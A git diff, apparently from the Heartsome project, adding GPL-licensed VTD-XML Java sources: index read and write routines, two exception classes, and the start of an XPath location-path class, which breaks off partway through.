dos.writeLong(l1Buffer.size); + for(i=0;i< l1Buffer.size;i++){ + dos.writeLong(l1Buffer.longAt(i)); + } + // write L2 + dos.writeLong(l2Buffer.size); + for(i=0;i< l2Buffer.size;i++){ + dos.writeLong(l2Buffer.longAt(i)); + } + // write L3 + dos.writeLong(l3Buffer.size); + for(i=0;i< l3Buffer.size;i++){ + dos.writeInt(l3Buffer.intAt(i)); + } + // pad zero if # of l3 entry is odd + if ( (l3Buffer.size & 1) !=0) + dos.writeInt(0); + dos.close(); + } + + /** + * Write VTD+XML index to OutputStream + * @param version + * @param encodingType + * @param ns + * @param byteOrder + * @param nestDepth + * @param LCLevel + * @param rootIndex + * @param xmlDoc + * @param docOffset + * @param docLen + * @param vtdBuffer + * @param l1Buffer + * @param l2Buffer + * @param l3Buffer + * @param os + * @throws IndexWriteException + * @throws IOException + * + */ + public static void writeIndex_L5(byte version, + int encodingType, + boolean ns, + boolean byteOrder, // true is big endien + int nestDepth, + int LCLevel, //has to be 5 + int rootIndex, + byte[] xmlDoc, + int docOffset, + int docLen, + FastLongBuffer vtdBuffer, + FastLongBuffer l1Buffer, + FastLongBuffer l2Buffer, + FastLongBuffer l3Buffer, + FastLongBuffer l4Buffer, + FastIntBuffer l5Buffer, + OutputStream os + ) throws IndexWriteException, + IOException{ + if ( xmlDoc == null + || docLen <=0 + || vtdBuffer == null + // impossible to occur + || l1Buffer == null // setDoc not called + || l2Buffer == null + || l3Buffer == null + || l4Buffer == null + || l5Buffer == null + || LCLevel !=5 + ){ + throw new IndexWriteException("Invalid VTD index "); + } + if (vtdBuffer.size==0) + throw new IndexWriteException("VTDBuffer can't be zero length"); + + int i; + DataOutputStream dos = new DataOutputStream(os); + // first 4 bytes + byte[] ba = new byte[4]; + ba[0] = (byte)version; // version # is 2 + ba[1] = (byte)encodingType; + ba[2] = (byte)(ns? 0xe0 : 0xa0); // big endien + ba[3] = (byte)nestDepth; + dos.write(ba); + // second 4 bytes + ba[0] = 0; + ba[1] = 6; + ba[2] = (byte) ((rootIndex & 0xff00)>> 8 ); + ba[3] = (byte) (rootIndex & 0xff); + dos.write(ba); + // 2 reserved 64-bit words set to zero + ba[1]= ba[2] = ba[3] = 0; + dos.write(ba); + dos.write(ba); + dos.write(ba); + dos.write(ba); + // write XML doc in bytes + dos.writeLong(docLen); + dos.write(xmlDoc,docOffset,docLen); + // zero padding to make it integer multiple of 64 bits + if ((docLen & 0x07) !=0 ){ + int t = (((docLen>>3)+1)<<3) - docLen; + for (;t>0;t--) + dos.write(0); + } + // write VTD offset adjusted if the start offset is not zero + dos.writeLong(vtdBuffer.size); + if (docOffset == 0) + for (i = 0; i < vtdBuffer.size; i++) { + dos.writeLong(vtdBuffer.longAt(i)); + } + else + for (i = 0; i < vtdBuffer.size; i++) { + dos.writeLong(adjust(vtdBuffer.longAt(i), + -docOffset)); + } + + // write L1 + dos.writeLong(l1Buffer.size); + for(i=0;i< l1Buffer.size;i++){ + dos.writeLong(l1Buffer.longAt(i)); + } + // write L2 + dos.writeLong(l2Buffer.size); + for(i=0;i< l2Buffer.size;i++){ + dos.writeLong(l2Buffer.longAt(i)); + } + // write L3 + dos.writeLong(l3Buffer.size); + for(i=0;i< l3Buffer.size;i++){ + dos.writeLong(l3Buffer.longAt(i)); + } + // write L4 + dos.writeLong(l4Buffer.size); + for(i=0;i< l4Buffer.size;i++){ + dos.writeLong(l4Buffer.longAt(i)); + } + // write L5 + dos.writeLong(l5Buffer.size); + for(i=0;i< l5Buffer.size;i++){ + dos.writeInt(l5Buffer.intAt(i)); + } + // pad zero if # of l3 entry is odd + if ( (l5Buffer.size & 1) !=0) + dos.writeInt(0); + dos.close(); + } + + /** + * Write VTD and Location cache into output stream (which is separate from XML) + * Notice that VTD index assumes that XML bytes starts at the beginning + * + * @param version + * @param encodingType + * @param ns + * @param byteOrder + * @param nestDepth + * @param LCLevel + * @param rootIndex + * @param xmlDoc + * @param docOffset + * @param docLen + * @param vtdBuffer + * @param l1Buffer + * @param l2Buffer + * @param l3Buffer + * @param os + * @throws IndexWriteException + * @throws IOException + * + */ + public static void writeSeparateIndex_L3(byte version, + int encodingType, + boolean ns, + boolean byteOrder, // true is big endien + int nestDepth, + int LCLevel, + int rootIndex, + //byte[] xmlDoc, + int docOffset, + int docLen, + FastLongBuffer vtdBuffer, + FastLongBuffer l1Buffer, + FastLongBuffer l2Buffer, + FastIntBuffer l3Buffer, + OutputStream os + ) throws IndexWriteException, + IOException{ + if ( //xmlDoc == null + + docLen <=0 + || vtdBuffer == null + // impossible to occur + || l1Buffer == null // setDoc not called + || l2Buffer == null + || l3Buffer == null + || LCLevel !=3 + ){ + throw new IndexWriteException("Invalid VTD index "); + } + if (vtdBuffer.size==0) + throw new IndexWriteException("VTDBuffer can't be zero length"); + + int i; + DataOutputStream dos = new DataOutputStream(os); + // first 4 bytes + byte[] ba = new byte[4]; + ba[0] = (byte)version; // version # is 2 + ba[1] = (byte)encodingType; + ba[2] = (byte)(ns? 0xe0 : 0xa0); // big endien + ba[3] = (byte)nestDepth; + dos.write(ba); + // second 4 bytes + ba[0] = 0; + ba[1] = 4; + ba[2] = (byte) ((rootIndex & 0xff00)>> 8 ); + ba[3] = (byte) (rootIndex & 0xff); + dos.write(ba); + // 2 reserved 64-bit words set to zero + ba[1]= ba[2] = ba[3] = 0; + dos.write(ba); + dos.write(ba); + dos.write(ba); + dos.write(ba); + // write XML doc in bytes + dos.writeLong(docLen); + // 16 bytes reserved bytes + dos.write(ba); + dos.write(ba); + dos.write(ba); + dos.write(ba); + //dos.write(xmlDoc,docOffset,docLen); + // zero padding to make it integer multiple of 64 bits + //if ((docLen & 0x07) !=0 ){ + // int t = (((docLen>>3)+1)<<3) - docLen; + // for (;t>0;t--) + // dos.write(0); + //} + // write VTD + dos.writeLong(vtdBuffer.size); + if (docOffset == 0) + for (i = 0; i < vtdBuffer.size; i++) { + dos.writeLong(vtdBuffer.longAt(i)); + } + else + for (i = 0; i < vtdBuffer.size; i++) { + dos.writeLong(adjust(vtdBuffer.longAt(i), + -docOffset)); + } + + // write L1 + dos.writeLong(l1Buffer.size); + for(i=0;i< l1Buffer.size;i++){ + dos.writeLong(l1Buffer.longAt(i)); + } + // write L2 + dos.writeLong(l2Buffer.size); + for(i=0;i< l2Buffer.size();i++){ + dos.writeLong(l2Buffer.longAt(i)); + } + // write L3 + dos.writeLong(l3Buffer.size); + for(i=0;i< l3Buffer.size;i++){ + dos.writeInt(l3Buffer.intAt(i)); + } + // pad zero if # of l3 entry is odd + if ( (l3Buffer.size & 1) !=0) + dos.writeInt(0); + dos.close(); + } + + /** + * Write VTD and Location cache into output stream (which is separate from XML) + * Notice that VTD index assumes that XML bytes starts at the beginning + * + * @param version + * @param encodingType + * @param ns + * @param byteOrder + * @param nestDepth + * @param LCLevel + * @param rootIndex + * @param xmlDoc + * @param docOffset + * @param docLen + * @param vtdBuffer + * @param l1Buffer + * @param l2Buffer + * @param l3Buffer + * @param os + * @throws IndexWriteException + * @throws IOException + * + */ + public static void writeSeparateIndex_L5(byte version, + int encodingType, + boolean ns, + boolean byteOrder, // true is big endien + int nestDepth, + int LCLevel, + int rootIndex, + //byte[] xmlDoc, + int docOffset, + int docLen, + FastLongBuffer vtdBuffer, + FastLongBuffer l1Buffer, + FastLongBuffer l2Buffer, + FastLongBuffer l3Buffer, + FastLongBuffer l4Buffer, + FastIntBuffer l5Buffer, + OutputStream os + ) throws IndexWriteException, + IOException{ + if ( //xmlDoc == null + + docLen <=0 + || vtdBuffer == null + // impossible to occur + || l1Buffer == null // setDoc not called + || l2Buffer == null + || l3Buffer == null + || l4Buffer == null + || l5Buffer == null + || LCLevel !=5 + ){ + throw new IndexWriteException("Invalid VTD index "); + } + if (vtdBuffer.size==0) + throw new IndexWriteException("VTDBuffer can't be zero length"); + + int i; + DataOutputStream dos = new DataOutputStream(os); + // first 4 bytes + byte[] ba = new byte[4]; + ba[0] = (byte)version; // version # is 2 + ba[1] = (byte)encodingType; + ba[2] = (byte)(ns? 0xe0 : 0xa0); // big endien + ba[3] = (byte)nestDepth; + dos.write(ba); + // second 4 bytes + ba[0] = 0; + ba[1] = 6; + ba[2] = (byte) ((rootIndex & 0xff00)>> 8 ); + ba[3] = (byte) (rootIndex & 0xff); + dos.write(ba); + // 2 reserved 64-bit words set to zero + ba[1]= ba[2] = ba[3] = 0; + dos.write(ba); + dos.write(ba); + dos.write(ba); + dos.write(ba); + // write XML doc in bytes + dos.writeLong(docLen); + // 16 bytes reserved bytes + dos.write(ba); + dos.write(ba); + dos.write(ba); + dos.write(ba); + //dos.write(xmlDoc,docOffset,docLen); + // zero padding to make it integer multiple of 64 bits + //if ((docLen & 0x07) !=0 ){ + // int t = (((docLen>>3)+1)<<3) - docLen; + // for (;t>0;t--) + // dos.write(0); + //} + // write VTD + dos.writeLong(vtdBuffer.size); + if (docOffset == 0) + for (i = 0; i < vtdBuffer.size; i++) { + dos.writeLong(vtdBuffer.longAt(i)); + } + else + for (i = 0; i < vtdBuffer.size; i++) { + dos.writeLong(adjust(vtdBuffer.longAt(i), + -docOffset)); + } + + // write L1 + dos.writeLong(l1Buffer.size); + for(i=0;i< l1Buffer.size;i++){ + dos.writeLong(l1Buffer.longAt(i)); + } + // write L2 + dos.writeLong(l2Buffer.size); + for(i=0;i< l2Buffer.size();i++){ + dos.writeLong(l2Buffer.longAt(i)); + } + // write L3 + dos.writeLong(l3Buffer.size); + for(i=0;i< l3Buffer.size;i++){ + dos.writeLong(l3Buffer.longAt(i)); + } + + // write L4 + dos.writeLong(l4Buffer.size); + for(i=0;i< l4Buffer.size;i++){ + dos.writeLong(l4Buffer.longAt(i)); + } + // write L5 + dos.writeLong(l5Buffer.size); + for(i=0;i< l5Buffer.size;i++){ + dos.writeInt(l5Buffer.intAt(i)); + } + // pad zero if # of l3 entry is odd + if ( (l5Buffer.size & 1) !=0) + dos.writeInt(0); + dos.close(); + } + + /** + * The assumption for this function is that when VTD+XML index + * is loaded into memory (ba), the first 32 bytes are not XML bytes + * @param ba + * @param vg + * @throws IndexReadException + * + */ + public static void readIndex(byte[] ba, VTDGen vg) + throws IndexReadException{ + if (ba == null || vg == null) + throw new IllegalArgumentException("Invalid argument(s) for readIndex()"); + + ByteBuffer bb = ByteBuffer.wrap(ba); + byte b= bb.get(); // first byte + if (b!=1) throw new IndexReadException("Invalid version number for readIndex()"); + // no check on version number for now + // second byte + vg.encoding = bb.get(); + int adj = OFFSET_ADJUSTMENT; + if (vg.encoding >= VTDGen.FORMAT_UTF_16BE){ + adj = OFFSET_ADJUSTMENT>>1; + } + int intLongSwitch; + //int ns; + int endian; + // third byte + b= bb.get(); + if ((b&0x80)!=0) + intLongSwitch = 1; //use ints + else + intLongSwitch = 0; + if ((b & 0x40)!=0) + vg.ns = true; + else + vg.ns = false; + if ((b & 0x20) !=0) + endian = 1; + else + endian = 0; + if ((b & 0x1f) != 0) + throw new IndexReadException("Last 5 bits of the third byte should be zero"); + // fourth byte + vg.VTDDepth = bb.get(); + + // 5th and 6th byte + int LCLevel = (((int)bb.get())<<8) | bb.get(); + if (LCLevel != 4 && LCLevel !=6) + throw new IndexReadException("LC levels must be at least 3"); + // 7th and 8th byte + if (LCLevel ==4) + vg.shallowDepth = true; + else + vg.shallowDepth = false; + // 7th and 8th byte + vg.rootIndex = (((int)bb.get())<<8) | bb.get(); + + // skip a long + bb.getLong(); + bb.getLong(); + int size = 0; + // read XML size + if (endian == 1) + size = (int)bb.getLong(); + else + size = (int)reverseLong(bb.getLong()); + // read XML bytes + //byte[] XMLDoc = new byte[size]; + //bb.get(XMLDoc); + int t=0; + if ((size & 0x7)!= 0){ + t = (((size>>3)+1)<<3) - size; + } + + vg.setDoc_BR(ba,32,size); + + bb = ByteBuffer.wrap(ba,32+size+t,ba.length-32-size-t); + + if (endian ==1){ + // read vtd records + int vtdSize = (int)bb.getLong(); + while(vtdSize>0){ + vg.VTDBuffer.append(adjust(bb.getLong(),adj)); + vtdSize--; + } + // read L1 LC records + int l1Size = (int)bb.getLong(); + + while(l1Size > 0){ + long l = bb.getLong(); + // System.out.println(" l-==> "+Long.toHexString(l)); + vg.l1Buffer.append(l); + l1Size--; + } + //System.out.println("++++++++++ "); + // read L2 LC records + int l2Size = (int)bb.getLong(); + while(l2Size > 0){ + vg.l2Buffer.append(bb.getLong()); + l2Size--; + } + //System.out.println("++++++++++ "); + // read L3 LC records + int l3Size = (int)bb.getLong(); + if (vg.shallowDepth) { + if (intLongSwitch == 1) { // l3 uses ints + while (l3Size > 0) { + vg.l3Buffer.append(bb.getInt()); + l3Size--; + } + } else { + while (l3Size > 0) { + vg.l3Buffer.append((int) (bb.getLong() >> 32)); + l3Size--; + } + } + }else{ + while (l3Size > 0) { + vg._l3Buffer.append(bb.getLong()); + l3Size--; + } + int l4Size = (int) bb.getLong(); + while (l4Size > 0) { + vg._l4Buffer.append(bb.getLong()); + l4Size--; + } + + int l5Size = (int) bb.getLong(); + if (intLongSwitch == 1) { // l5 uses ints + while (l5Size > 0) { + vg._l5Buffer.append(bb.getInt()); + l5Size--; + } + } else { + while (l5Size > 0) { + vg._l5Buffer.append((int) (bb.getLong() >> 32)); + l5Size--; + } + } + } + + } else { + // read vtd records + int vtdSize = (int)reverseLong(bb.getLong()); + while(vtdSize>0){ + vg.VTDBuffer.append(adjust(reverseLong(bb.getLong()),adj)); + vtdSize--; + } + // read L1 LC records + //System.out.println(" ++++++++++ "); + int l1Size = (int)reverseLong(bb.getLong()); + while(l1Size > 0){ + long l = reverseLong(bb.getLong()); + vg.l1Buffer.append(l); + l1Size--; + } + //System.out.println(" ++++++++++ "); + // read L2 LC records + int l2Size = (int)reverseLong(bb.getLong()); + while(l2Size > 0){ + long l = reverseLong(bb.getLong()); + //System.out.println(" l--=->"+Long.toHexString(l)); + vg.l2Buffer.append(l); + l2Size--; + } + //System.out.println(" ++++++++++ "); + // read L3 LC records + int l3Size = (int)reverseLong(bb.getLong()); + if (vg.shallowDepth) { + if (intLongSwitch == 1) { // l3 uses ints + while (l3Size > 0) { + vg.l3Buffer.append(reverseInt(bb.getInt())); + l3Size--; + } + } else { + while (l3Size > 0) { + vg.l3Buffer + .append(reverseInt((int) (bb.getLong() >> 32))); + l3Size--; + } + } + }else{ + while (l3Size > 0) { + vg._l3Buffer.append(reverseLong(bb.getLong())); + l3Size--; + } + int l4Size = (int) reverseLong(bb.getLong()); + while (l4Size > 0) { + vg._l4Buffer.append(reverseLong(bb.getLong())); + l4Size--; + } + + int l5Size = (int) reverseLong(bb.getLong()); + if (intLongSwitch == 1) { // l5 uses ints + while (l5Size > 0) { + vg._l5Buffer.append(reverseInt(bb.getInt())); + l5Size--; + } + } else { + while (l5Size > 0) { + vg._l5Buffer.append((reverseInt((int) (bb.getLong() >> 32)))); + l5Size--; + } + } + + } + } + } + + /** + * Load VTD+XML index from an inputStream + * @param is + * @param vg + * @throws IndexReadException + * @throws IOException + * + */ + public static void readIndex(InputStream is, VTDGen vg) + throws IndexReadException,IOException{ + if (is == null || vg == null) + throw new IndexReadException("Invalid argument(s) for readIndex()"); + DataInputStream dis = new DataInputStream(is); + byte b= dis.readByte(); // first byte + if (b!=1) throw new IndexReadException("Invalid version number for readIndex()"); + // no check on version number for now + // second byte + vg.encoding = dis.readByte(); + int intLongSwitch; + //int ns; + int endian; + // third byte + b= dis.readByte(); + if ((b&0x80)!=0) + intLongSwitch = 1; //use ints + else + intLongSwitch = 0; + if ((b & 0x40)!=0) + vg.ns = true; + else + vg.ns = false; + if ((b & 0x20) !=0) + endian = 1; + else + endian = 0; + if ((b & 0x1f) != 0) + throw new IndexReadException("Last 5 bits of the third byte should be zero"); + // fourth byte + vg.VTDDepth = dis.readByte(); + + // 5th and 6th byte + int LCLevel = (((int)dis.readByte())<<8) | dis.readByte(); + if (LCLevel != 4 && LCLevel != 6) + throw new IndexReadException("LC levels must be at least 3"); + // 7th and 8th byte + if (LCLevel ==4) + vg.shallowDepth = true; + else + vg.shallowDepth = false; + vg.rootIndex = (((int)dis.readByte())<<8) | dis.readByte(); + + // skip a long + dis.readLong(); + dis.readLong(); + int size = 0; + // read XML size + if (endian == 1) + size = (int)dis.readLong(); + else + size = (int)reverseLong(dis.readLong()); + // read XML bytes + byte[] XMLDoc = new byte[size]; + dis.read(XMLDoc); + if ((size & 0x7)!= 0){ + int t = (((size>>3)+1)<<3) - size; + while(t>0){ + dis.readByte(); + t--; + } + } + + vg.setDoc(XMLDoc); + + if (endian ==1){ + // read vtd records + int vtdSize = (int)dis.readLong(); + while(vtdSize>0){ + vg.VTDBuffer.append(dis.readLong()); + vtdSize--; + } + // read L1 LC records + int l1Size = (int)dis.readLong(); + + while(l1Size > 0){ + long l = dis.readLong(); + // System.out.println(" l-==> "+Long.toHexString(l)); + vg.l1Buffer.append(l); + l1Size--; + } + //System.out.println("++++++++++ "); + // read L2 LC records + int l2Size = (int)dis.readLong(); + while(l2Size > 0){ + vg.l2Buffer.append(dis.readLong()); + l2Size--; + } + //System.out.println("++++++++++ "); + // read L3 LC records + int l3Size = (int) dis.readLong(); + if (vg.shallowDepth) { + if (intLongSwitch == 1) { // l3 uses ints + while (l3Size > 0) { + vg.l3Buffer.append(dis.readInt()); + l3Size--; + } + } else { + while (l3Size > 0) { + vg.l3Buffer.append((int) (dis.readLong() >> 32)); + l3Size--; + } + } + } else { + while (l3Size > 0) { + vg._l3Buffer.append(dis.readLong()); + l3Size--; + } + + int l4Size = (int)dis.readLong(); + while(l4Size > 0){ + vg._l4Buffer.append(dis.readLong()); + l4Size--; + } + + int l5Size = (int)dis.readLong(); + if (intLongSwitch == 1) { // l5 uses ints + while(l5Size > 0){ + vg._l5Buffer.append(dis.readInt()); + l5Size--; + } + }else { + while (l5Size > 0) { + vg._l5Buffer.append((int) (dis.readLong() >> 32)); + l5Size--; + } + } + } + } else { + // read vtd records + int vtdSize = (int)reverseLong(dis.readLong()); + while(vtdSize>0){ + vg.VTDBuffer.append(reverseLong(dis.readLong())); + vtdSize--; + } + // read L1 LC records + //System.out.println(" ++++++++++ "); + int l1Size = (int)reverseLong(dis.readLong()); + while(l1Size > 0){ + long l = reverseLong(dis.readLong()); + vg.l1Buffer.append(l); + l1Size--; + } + //System.out.println(" ++++++++++ "); + // read L2 LC records + int l2Size = (int)reverseLong(dis.readLong()); + while(l2Size > 0){ + long l = reverseLong(dis.readLong()); + //System.out.println(" l--=->"+Long.toHexString(l)); + vg.l2Buffer.append(l); + l2Size--; + } + //System.out.println(" ++++++++++ "); + // read L3 LC records + int l3Size = (int)reverseLong(dis.readLong()); + if (vg.shallowDepth) { + if (intLongSwitch == 1) { // l3 uses ints + while (l3Size > 0) { + vg.l3Buffer.append(reverseInt(dis.readInt())); + l3Size--; + } + } else { + while (l3Size > 0) { + vg.l3Buffer + .append(reverseInt((int) (dis.readLong() >> 32))); + l3Size--; + } + } + }else{ + while (l3Size > 0) { + vg._l3Buffer.append(reverseLong(dis.readLong())); + l3Size--; + } + int l4Size = (int)reverseLong(dis.readLong()); + while(l4Size > 0){ + long l = reverseLong(dis.readLong()); + vg._l4Buffer.append(l); + l4Size--; + } + int l5Size = (int)reverseLong(dis.readLong()); + if (intLongSwitch == 1) { // l5 uses ints + while(l5Size > 0){ + vg._l5Buffer.append(reverseInt(dis.readInt())); + l5Size--; + } + }else { + while (l5Size > 0) { + vg._l5Buffer.append(reverseInt((int) (dis.readLong() >> 32))); + l5Size--; + } + } + } + } + } + +/** + * read in XML and index file separately + * @param index + * @param XMLBytes + * @param XMLSize + * @param vg + * @throws IndexReadException + * @throws IOException + * + */ + public static void readSeparateIndex(InputStream index, InputStream XMLBytes, int XMLSize, VTDGen vg) + throws IndexReadException,IOException{ + if (index == null || vg == null || XMLBytes == null) + throw new IndexReadException("Invalid argument(s) for readSeparateIndex()"); + DataInputStream dis = new DataInputStream(index); + byte b= dis.readByte(); // first byte + if (b!=2) throw new IndexReadException("Invalid version number for readIndex()"); + // no check on version number for now + // second byte + vg.encoding = dis.readByte(); + int intLongSwitch; + //int ns; + int endian; + // third byte + b= dis.readByte(); + if ((b&0x80)!=0) + intLongSwitch = 1; //use ints + else + intLongSwitch = 0; + if ((b & 0x40)!=0) + vg.ns = true; + else + vg.ns = false; + if ((b & 0x20) !=0) + endian = 1; + else + endian = 0; + if ((b & 0x1f) != 0) + throw new IndexReadException("Last 5 bits of the third byte should be zero"); + // fourth byte + vg.VTDDepth = dis.readByte(); + + // 5th and 6th byte + int LCLevel = (((int)dis.readByte())<<8) | dis.readByte(); + if (LCLevel != 4 && LCLevel !=6) + throw new IndexReadException("LC levels must be at least 3"); + // 7th and 8th byte + if (LCLevel ==4) + vg.shallowDepth = true; + else + vg.shallowDepth = false; + // 7th and 8th byte + vg.rootIndex = (((int)dis.readByte())<<8) | dis.readByte(); + + // skip two longs + dis.readLong(); + dis.readLong(); + int size = 0; + // read XML size + if (endian == 1) + size = (int)dis.readLong(); + else + size = (int)reverseLong(dis.readLong()); + // read XML bytes + if (size!= XMLSize) + throw new IndexReadException("XML size mismatch"); + byte[] XMLDoc = new byte[size]; + XMLBytes.read(XMLDoc); + + + vg.setDoc(XMLDoc); + + dis.readLong(); + dis.readLong(); + if (endian ==1){ + // read vtd records + int vtdSize = (int)dis.readLong(); + while(vtdSize>0){ + vg.VTDBuffer.append(dis.readLong()); + vtdSize--; + } + // read L1 LC records + int l1Size = (int)dis.readLong(); + + while(l1Size > 0){ + long l = dis.readLong(); + // System.out.println(" l-==> "+Long.toHexString(l)); + vg.l1Buffer.append(l); + l1Size--; + } + //System.out.println("++++++++++ "); + // read L2 LC records + int l2Size = (int)dis.readLong(); + while(l2Size > 0){ + vg.l2Buffer.append(dis.readLong()); + l2Size--; + } + //System.out.println("++++++++++ "); + // read L3 LC records + int l3Size = (int)dis.readLong(); + if (vg.shallowDepth) { + if (intLongSwitch == 1) { // l3 uses ints + while (l3Size > 0) { + vg.l3Buffer.append(dis.readInt()); + l3Size--; + } + } else { + while (l3Size > 0) { + vg.l3Buffer.append((int) (dis.readLong() >> 32)); + l3Size--; + } + } + } else { + while (l3Size > 0) { + vg._l3Buffer.append(dis.readLong()); + l3Size--; + } + + int l4Size = (int)dis.readLong(); + while(l2Size > 0){ + vg._l4Buffer.append(dis.readLong()); + l4Size--; + } + + int l5Size = (int)dis.readLong(); + if (intLongSwitch == 1) { // l5 uses ints + while(l2Size > 0){ + vg._l5Buffer.append(dis.readInt()); + l5Size--; + } + }else { + while (l5Size > 0) { + vg._l5Buffer.append((int) (dis.readLong() >> 32)); + l5Size--; + } + } + } + } else { + // read vtd records + int vtdSize = (int)reverseLong(dis.readLong()); + while(vtdSize>0){ + vg.VTDBuffer.append(reverseLong(dis.readLong())); + vtdSize--; + } + // read L1 LC records + //System.out.println(" ++++++++++ "); + int l1Size = (int)reverseLong(dis.readLong()); + while(l1Size > 0){ + long l = reverseLong(dis.readLong()); + vg.l1Buffer.append(l); + l1Size--; + } + //System.out.println(" ++++++++++ "); + // read L2 LC records + int l2Size = (int)reverseLong(dis.readLong()); + while(l2Size > 0){ + long l = reverseLong(dis.readLong()); + //System.out.println(" l--=->"+Long.toHexString(l)); + vg.l2Buffer.append(l); + l2Size--; + } + //System.out.println(" ++++++++++ "); + // read L3 LC records + int l3Size = (int)reverseLong(dis.readLong()); + if (vg.shallowDepth) { + if (intLongSwitch == 1) { // l3 uses ints + while (l3Size > 0) { + vg.l3Buffer.append(reverseInt(dis.readInt())); + l3Size--; + } + } else { + while (l3Size > 0) { + vg.l3Buffer + .append(reverseInt((int) (dis.readLong() >> 32))); + l3Size--; + } + } + }else{ + while (l3Size > 0) { + vg._l3Buffer.append(reverseLong(dis.readLong())); + l3Size--; + } + int l4Size = (int)reverseLong(dis.readLong()); + while(l4Size > 0){ + long l = reverseLong(dis.readLong()); + vg._l4Buffer.append(l); + l4Size--; + } + int l5Size = (int)reverseLong(dis.readLong()); + if (intLongSwitch == 1) { // l5 uses ints + while(l5Size > 0){ + vg._l5Buffer.append(reverseInt(dis.readInt())); + l5Size--; + } + }else { + while (l5Size > 0) { + vg._l5Buffer.append(reverseInt((int) (dis.readLong() >> 32))); + l5Size--; + } + } + } + } + } + /** + * reverse a long's endianess + * @param l + * @return + * + */ + private static long reverseLong(long l){ + long t = ((l & 0xff00000000000000L)>>>56) + | ((l & 0xff000000000000L)>>40) + | ((l & 0xff0000000000L)>>24) + | ((l & 0xff00000000L)>>8) + | ((l & 0xff000000L)<<8) + | ((l & 0xff0000L)<<24) + | ((l & 0xff00L)<<40) + | ((l & 0xffL)<<56); + //System.out.println(" t ==> "+Long.toHexString(l)); + return t; + } + + /** + * reverse the endianess of an int + * @param i + * @return + * + */ + private static int reverseInt(int i){ + int t = ((i & 0xff000000) >>> 24) + | ((i & 0xff0000) >> 8) + | ((i & 0xff00) << 8) + | ((i & 0xff) << 24); + return t; + } + + private static long adjust(long l, int i){ + long l1 = (l & 0xffffffffL)+ i; + long l2 = l & 0xffffffff00000000L; + return l1|l2; + } +} + + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/IndexReadException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/IndexReadException.java new file mode 100644 index 0000000..3d4666d --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/IndexReadException.java @@ -0,0 +1,32 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +/** + * + * IndexReadException is thrown when there are exception + * conditions during index loading + */ +public class IndexReadException extends VTDException { + public IndexReadException(String s){ + super(s); + } + public IndexReadException(){ + + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/IndexWriteException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/IndexWriteException.java new file mode 100644 index 0000000..b899032 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/IndexWriteException.java @@ -0,0 +1,30 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * + * IndexWriteException is thrown when there are exception + * condition when wrting VTD+XML index + */ +public class IndexWriteException extends VTDException { + public IndexWriteException(String s){ + super(s); + } + public IndexWriteException(){ + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/LocationPathExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/LocationPathExpr.java new file mode 100644 index 0000000..611a953 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/LocationPathExpr.java @@ -0,0 +1,3467 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +package com.ximpleware; +import com.ximpleware.xpath.*; +// if the context node is text(), +// then many axis simply won't work +/** + * LocationPathExpr implements the location path expression + * as defined in XPath spec + */ +public class LocationPathExpr extends Expr{ + + public static final int ABSOLUTE_PATH =0, + RELATIVE_PATH =1; + Step s; + Step currentStep; + int pathType; + int state; + //FastIntBuffer fib; // for uniqueness checking + intHash ih; + + public static final int START = 0, // initial state + END= 1, // return to begin + TERMINAL= 2, // no more next step + FORWARD = 3, // + BACKWARD= 4; + + + public LocationPathExpr(){ + state = START; + s = null; + pathType = RELATIVE_PATH; + currentStep = null; + //fib = new FastIntBuffer(8);// page size 256 = 2^ 8 + ih = new intHash(); + } + final public void optimize2(){} + final public void optimize(){ + // get to last step + Step ts = s; + if (ts==null) + return; + while(ts.nextS!=null){ + ts = ts.nextS; + } + + while(ts.prevS !=null){ + // logic of optmize here + if (ts.axis_type == AxisType.CHILD0 + || ts.axis_type == AxisType.CHILD + || ts.axis_type == AxisType.ATTRIBUTE){ + switch(ts.prevS.axis_type){ + case AxisType.CHILD: + if (ts.prevS.nt.testType == com.ximpleware.NodeTest.NODE){ + ts.prevS.axis_type = AxisType.CHILD0; + ts.prevS.nt.testType = NodeTest.NAMETEST; + ts.prevS.nt.type= 0; + ts.prevS.nt.nodeName = "*"; + } + break; + case AxisType.DESCENDANT: + ts.prevS.axis_type = AxisType.DESCENDANT0; + break; + case AxisType.DESCENDANT_OR_SELF: + ts.prevS.axis_type = AxisType.DESCENDANT_OR_SELF0; + break; + case AxisType.PRECEDING: + ts.prevS.axis_type = 